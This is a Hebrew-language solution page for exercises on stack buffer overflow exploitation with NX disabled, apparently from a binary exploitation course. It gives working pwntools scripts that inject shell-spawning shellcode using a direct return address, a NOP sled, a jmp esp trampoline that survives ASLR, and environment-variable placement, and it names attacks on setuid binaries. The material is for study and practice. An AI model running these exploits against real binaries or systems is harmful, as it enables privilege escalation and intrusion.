3.2 הזרקה והרצה ללא NX פתרון
פתרון - הזרקה והרצה ללא NX¶
נעבור על התרגילים לפי הסדר. הרעיון המרכזי חוזר בכולם: מזריקים shellcode לזיכרון שאנחנו שולטים בו, ומכוונים את הreturn address אליו. ההבדל בין השיטות הוא רק איך אנחנו יודעים את הכתובת שאליה לקפוץ.
פתרון תרגיל 1 - אימות התנאים¶
$ checksec --file=./vuln64
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
RWX: Has RWX segments
$ readelf -l vuln64 | grep GNU_STACK
GNU_STACK 0x0 0x0 0x0 0x0 0x0 RWE 0x10
$ cat /proc/sys/kernel/randomize_va_space
0
שלוש הבדיקות הקריטיות: NX disabled (המחסנית ניתנת להרצה), האות E בדגלי GNU_STACK, וה-0 שאומר ש-ASLR כבוי. אם אחד מהם לא במקום, אין טעם להמשיך - נקבל SIGSEGV בקפיצה או כתובת לא יציבה.
למה זה חשוב: כל ההתקפה בפרק הזה מניחה מחסנית ניתנת להרצה. -z execstack הוא מה שמסמן את מקטע GNU_STACK כ-RWE, והטוען מעביר את הסימון הזה לזכרון בזמן ריצה.
פתרון תרגיל 2 - כתובת ישירה (64 ביט)¶
קודם מוצאים את ה-offset עם cyclic:
from pwn import *
context.arch = 'amd64'
io = process('./vuln64')
io.sendline(cyclic(200))
io.wait()
core = io.corefile
rip = core.read(core.rsp, 8) # what gets popped into rip
log.info('offset = %d', cyclic_find(rip)) # prints 72
קיבלנו offset = 72 (buffer 64 + saved rbp 8). עכשיו מוצאים את כתובת הbuffer ב-gdb:
הערה: כדי שיהיה מה לחפש, שולחים קלט של A-ים דרך הרצה נפרדת, או פשוט קוראים את $rsp אחרי ה-read. נניח שהbuffer בכתובת 0x7fffffffde10. ה-exploit הפשוט, עם ה-shellcode בתחילת הbuffer:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'
offset = 72
buf_addr = 0x7fffffffde10 # from gdb
sc = asm(shellcraft.amd64.linux.sh()) # or the hand-written bytes from 3.1
payload = sc # the shellcode at the start of the buffer
payload += b'A' * (offset - len(sc)) # padding up to the return address
payload += p64(buf_addr) # ret jumps to the start of the buffer = the shellcode
io = process('./vuln64')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()
זה יעבוד ב-gdb, אבל כנראה יקרוס בהרצה רגילה - כי buf_addr שראינו ב-gdb שונה מהכתובת האמיתית בגלל הבדלי סביבה. את זה מתקנים בתרגיל 3.
למה זה עבד (כשעבד): ASLR כבוי, אז כתובת הbuffer יציבה. הזרקנו את ה-shellcode לתחילת הbuffer וכיוונו את הreturn address בדיוק לשם. שימו לב שהbuffer (64) גדול מספיק ל-shellcode של 27 בתים, אז נשאר מקום לpadding.
פתרון תרגיל 3 - מזחלת NOP והתמודדות עם אי-דיוק¶
הבעיה בתרגיל 2: תלות בכתובת מדויקת. הפתרון: מזחלת NOP גדולה, וה-shellcode אחרי הreturn address כדי שיהיה מקום. עכשיו אפשר לקפוץ לאמצע המזחלת בערך, וזה יספיק.
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'
offset = 72
sc = asm(shellcraft.amd64.linux.sh())
# the address the sled landed at, from gdb.attach + search for \x90
ret_target = 0x7fffffffde90
sled = b'\x90' * 512
payload = b'A' * offset
payload += p64(ret_target) # jump to the middle of the sled
payload += sled + sc
io = process('./vuln64')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()
איך מוצאים ret_target נכון: מריצים פעם עם gdb.attach(io) (שמריץ עם הסביבה האמיתית של התהליך), עוצרים אחרי ה-read, ומחפשים את המזחלת:
בוחרים כתובת עמוק בתוך הטווח הזה, למשל 0x7fffffffde90, שנמצאת בבטחה בתוך 512 בתים של NOP. עכשיו מריצים מחוץ ל-gdb - וזה עובד, כי המזחלת מספיק גדולה לבלוע את ההפרש בין הסביבות.
למה זה עבד: המזחלת (רצף 0x90) הופכת כל כתובת שנוחתת בתוכה לנקודת פתיחה תקינה - המעבד פשוט מריץ nop אחרי nop וגולש קדימה עד ה-shellcode. במקום לפגוע בבית אחד מדויק, מספיק לפגוע בטווח של מאות בתים.
איך להכליל: ככל שאי-הוודאות בכתובת גדולה יותר, מגדילים את המזחלת. אם שולחים דרך read יש מקום כמעט בלתי מוגבל, אז מזחלת נדיבה כמעט תמיד עדיפה על ניסיון לכוון בית מדויק.
פתרון תרגיל 4 - טרמפולינה jmp esp (32 ביט)¶
מוצאים את הגאדג'ט:
וה-exploit, בלי שום כתובת מחסנית:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln32')
context.arch = 'i386'
offset = 76 # measured with cyclic (may vary)
sc = asm(shellcraft.i386.linux.sh())
jmp_esp = next(elf.search(asm('jmp esp'), executable=True)) # ff e4
log.info('jmp esp @ %#x', jmp_esp)
payload = b'A' * offset
payload += p32(jmp_esp) # the ret of vuln jumps to the gadget
payload += sc # esp points exactly here; jmp esp jumps here
io = process('./vuln32')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()
הרצה עם ASLR פעיל (echo 2 | sudo tee /proc/sys/kernel/randomize_va_space) - ועדיין נפתח shell.
למה זה עבד: ברגע ה-ret של vuln, esp מצביע על הסלוט שמיד אחרי הreturn address - בדיוק המקום שבו שמנו את ה-shellcode. הגאדג'ט jmp esp (הבתים ff e4) קופץ אל esp, כלומר אל ה-shellcode. לא השתמשנו באף כתובת מחסנית.
למה זה שורד ASLR: הכתובת היחידה שהשתמשנו בה היא של הגאדג'ט jmp esp, שנמצא בתוך הבינארי. מכיוון שהבינארי לא PIE, הכתובת הזו קבועה בכל הרצה, גם עם ASLR. ה-ASLR מערבב את המחסנית - אבל לא אכפת לנו, כי esp תמיד מצביע לאן שצריך, לא משנה איפה המחסנית. זה ההבדל המהותי מהשיטה הישירה, ולכן jmp esp/jmp rsp הרבה יותר חזקה.
איך להכליל ל-64 ביט: זהה לחלוטין, רק מחליפים jmp esp ל-jmp rsp (אותו קידוד ff e4), p32 ל-p64, ו-context.arch = 'amd64'. ל-shellcode עם syscall גולמי אין בעיית alignment movaps, אז לא צריך גאדג'ט alignment.
פתרון תרגיל 5 - shellcode במשתנה סביבה¶
מכניסים את ה-shellcode עם מזחלת למשתנה סביבה, מוצאים את כתובתו, וקופצים לשם. עם pwntools הכי נוח להעביר את הסביבה ישירות ולאתר את הכתובת ב-gdb:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln32')
context.arch = 'i386'
offset = 76
sc = asm(shellcraft.i386.linux.sh())
env_val = b'\x90' * 400 + sc # large sled + shellcode
# find the address of SC once with gdb.attach (search -s ...), and hard-code it:
sc_addr = 0xffffd8e0 + 100 # address of SC + entry into the sled
payload = b'A' * offset + p32(sc_addr)
io = process('./vuln32', env={'SC': env_val})
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()
לחילופין, בלי pwntools, עם תוכנית העזר getenvaddr:
$ export SC=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*400 + open('sc.bin','rb').read())")
$ ./getenvaddr SC ./vuln32
SC will be at 0xffffd8e0
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\xe4\xd8\xff\xff')" | ./vuln32
שימו לב לסדר הבתים ה-little-endian של 0xffffd8e0 ולכניסה לתוך המזחלת.
למה זה עבד: משתני הסביבה יושבים בראש המחסנית, בכתובת יציבה כש-ASLR כבוי. שמנו שם shellcode שלם עם מזחלת נדיבה, וכיוונו את הreturn address לתוך המזחלת. היתרון: ה-shellcode לא מוגבל בגודל הbuffer הקטן.
איך להכליל: זו הטכניקה הקלאסית לתקיפת בינארי setuid נפרד - אם אנחנו שולטים בסביבה שבה הוא רץ, אנחנו שולטים בכתובת שבה ה-shellcode יושב. החיסרון: כמו השיטה הישירה, זה מסתמך על כתובת יציבה, ולכן דורש ASLR כבוי. מול ASLR נחזור לטרמפולינה של תרגיל 4.
פתרון תרגיל 6 - מתי כל שיטה נכשלת¶
-
שרידות ASLR. רק שיטת הטרמפולינה (
jmp esp/jmp rsp) שורדת. היא לא נוגעת בכתובת מחסנית בכלל - היא מסתמכת עלesp/rspשממילא מצביע על ה-shellcode, ועל כתובת גאדג'ט קבועה בבינארי הלא-PIE. השיטה הישירה ושיטת משתנה הסביבה שתיהן מתות מול ASLR, כי שתיהן דורסות את הreturn address בכתובת מחסנית קבועה, ו-ASLR מזיז את המחסנית בכל הרצה. -
בלי execstack (NX פעיל). כל השיטות מתות. שלושתן מזריקות shellcode לזיכרון (מחסנית או סביבה) וקופצות אליו. אם המחסנית מסומנת
rw-, המעבד יזרוקSIGSEGVברגע שינסה להריץ את הבית הראשון של ה-shellcode. זו בדיוק הסיבה שהומצאו ret2libc ו-ROP - הם לא מריצים קוד חדש אלא משתמשים בקוד שכבר קיים ומסומן כניתן להרצה. -
קריאה עם
scanf("%s", buf)במקוםread. נוצרות שתי בעיות. ראשית,scanf("%s")עוצר ברווח, ב-tab, בשורה חדשה וב-null - אז ה-shellcode לא יכול להכיל אף אחד מהבתים האלה, וגם הreturn address לא. שנית, ב-64 ביט כתובות מחסנית מכילות בתים אפסיים (0x00007fff...), אז כתובת כזו תיקטע.readנוח יותר כי הוא קורא בתים גולמיים ולא מתייחס לשום בית כמפריד - כל 400 הבתים נכנסים כמו שהם. עםscanfהיינו נאלצים ל-shellcode "נקי" מבתים אסורים (פרק 3.3) ולכתובות בלי אפסים.